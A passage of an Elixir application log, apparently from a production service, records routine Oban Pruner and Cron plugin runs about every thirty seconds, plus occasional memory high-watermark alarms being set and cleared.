{"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.263 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:18:12.112 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:42.114 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.270 [info] {"source":"oban","duration":6478,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:19:12.117 [info] {"source":"oban","duration":2467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:42.119 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.278 [info] {"source":"oban","duration":5786,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:20:12.121 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:42.124 [info] {"source":"oban","duration":2263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.289 [info] {"source":"oban","duration":7608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:21:12.126 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:42.128 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.290 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:22:12.136 [info] {"source":"oban","duration":6912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:42.139 [info] {"source":"oban","duration":1864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.299 [info] {"source":"oban","duration":6700,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:23:12.141 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:42.143 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.302 [info] {"source":"oban","duration":1804,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:24:12.145 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:42.147 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.306 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:25:12.150 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:42.151 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.307 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:26:12.153 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:42.156 [info] {"source":"oban","duration":2000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.316 [info] {"source":"oban","duration":8472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:27:12.159 [info] {"source":"oban","duration":2294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:42.161 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.318 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:28:12.163 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:42.165 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.321 [info] {"source":"oban","duration":1762,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:29:12.167 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:42.178 [info] {"source":"oban","duration":9370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.329 [info] {"source":"oban","duration":6107,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:30:12.180 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:42.182 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.337 [info] {"source":"oban","duration":6022,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:31:12.185 [info] {"source":"oban","duration":1898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:42.187 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.342 [info] {"source":"oban","duration":3361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:32:12.189 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:42.191 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.352 [info] {"source":"oban","duration":3725,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:33:12.193 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:42.195 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.359 [info] {"source":"oban","duration":4556,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:34:12.197 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:42.199 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.360 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:35:12.201 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:42.203 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.362 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:36:12.205 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:42.207 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.364 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:37:12.209 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:42.211 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.365 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:38:12.213 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:42.216 [info] {"source":"oban","duration":1983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.369 [info] {"source":"oban","duration":3310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:39:12.218 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:42.222 [info] {"source":"oban","duration":2958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.371 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:40:12.224 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:42.226 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.378 [info] {"source":"oban","duration":4338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:41:12.228 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:42.230 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.382 [info] {"source":"oban","duration":3122,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:42:12.232 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:42.234 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.386 [info] {"source":"oban","duration":3206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:43:12.236 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:42.238 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.390 [info] {"source":"oban","duration":2491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:44:12.240 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:42.242 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.394 [info] {"source":"oban","duration":2858,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:45:12.244 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:42.246 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.399 [info] {"source":"oban","duration":3707,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:46:12.248 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:42.250 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.446 [info] {"source":"oban","duration":1682,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:47:12.252 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:42.254 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.451 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:48:12.257 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:42.263 [info] {"source":"oban","duration":4697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.456 [info] {"source":"oban","duration":4268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:49:12.266 [info] {"source":"oban","duration":2568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:42.268 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.460 [info] {"source":"oban","duration":2424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:50:12.270 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:42.272 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.462 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:51:12.274 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:42.276 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.463 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:52:12.278 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:42.281 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.464 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:53:12.285 [info] {"source":"oban","duration":2110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:42.287 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.466 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:54:12.291 [info] {"source":"oban","duration":2627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:42.292 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.468 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:55:12.294 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:42.296 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.475 [info] {"source":"oban","duration":6305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:56:12.298 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:32.668 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 00:56:42.300 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.487 [info] {"source":"oban","duration":1841,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:57:12.344 [info] {"source":"oban","duration":43585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:42.346 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.488 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:58:12.348 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:42.350 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.493 [info] {"source":"oban","duration":3643,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:59:12.352 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:42.354 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.510 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:00:12.356 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:42.358 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.513 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:01:12.360 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:32.703 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 01:01:42.362 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.514 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:02:12.364 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:42.366 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.519 [info] {"source":"oban","duration":4028,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:03:12.369 [info] {"source":"oban","duration":1896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:42.371 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.526 [info] {"source":"oban","duration":5404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:04:12.374 [info] {"source":"oban","duration":1651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:42.377 [info] {"source":"oban","duration":2659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.531 [info] {"source":"oban","duration":3648,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:05:12.378 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:42.380 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.533 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:06:12.382 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:42.387 [info] {"source":"oban","duration":4147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.537 [info] {"source":"oban","duration":2373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:07:12.389 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:42.391 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.538 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:08:12.393 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:42.399 [info] {"source":"oban","duration":4639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.539 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:09:12.401 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:42.406 [info] {"source":"oban","duration":3637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.540 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:10:12.408 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:42.410 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.541 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:11:12.412 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:42.415 [info] {"source":"oban","duration":1854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.544 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:12:12.417 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:42.419 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.547 [info] {"source":"oban","duration":3304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:13:12.423 [info] {"source":"oban","duration":2811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:42.429 [info] {"source":"oban","duration":4469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.549 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:14:12.431 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:42.433 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.554 [info] {"source":"oban","duration":3897,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:15:12.435 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:42.437 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.556 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:16:12.439 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:42.441 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.558 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:17:12.443 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:32.797 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 01:17:42.445 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.561 [info] {"source":"oban","duration":1828,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:18:12.447 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:42.449 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.562 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:19:12.451 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:42.453 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.570 [info] {"source":"oban","duration":6358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:20:12.455 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:42.457 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.572 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:21:12.459 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:32.812 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 01:21:42.461 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.573 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:22:12.463 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:42.465 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.575 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:23:12.467 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:42.469 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.576 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:24:12.471 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:42.473 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.580 [info] {"source":"oban","duration":2475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:25:12.475 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:42.477 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.581 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:26:12.479 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:42.481 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.582 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:27:12.483 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:42.485 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.588 [info] {"source":"oban","duration":3978,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:28:12.487 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:42.489 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.594 [info] {"source":"oban","duration":3248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:29:12.491 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:42.494 [info] {"source":"oban","duration":2006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.596 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:30:12.496 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:42.498 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.598 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:31:12.500 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:42.502 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.601 [info] {"source":"oban","duration":1775,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:32:12.506 [info] {"source":"oban","duration":3033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:42.508 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.602 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:33:12.510 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:42.513 [info] {"source":"oban","duration":1998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.610 [info] {"source":"oban","duration":6298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:34:12.515 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:32.862 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 01:34:42.518 [info] {"source":"oban","duration":2176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.615 [info] {"source":"oban","duration":3468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:35:12.520 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:42.522 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.617 [info] 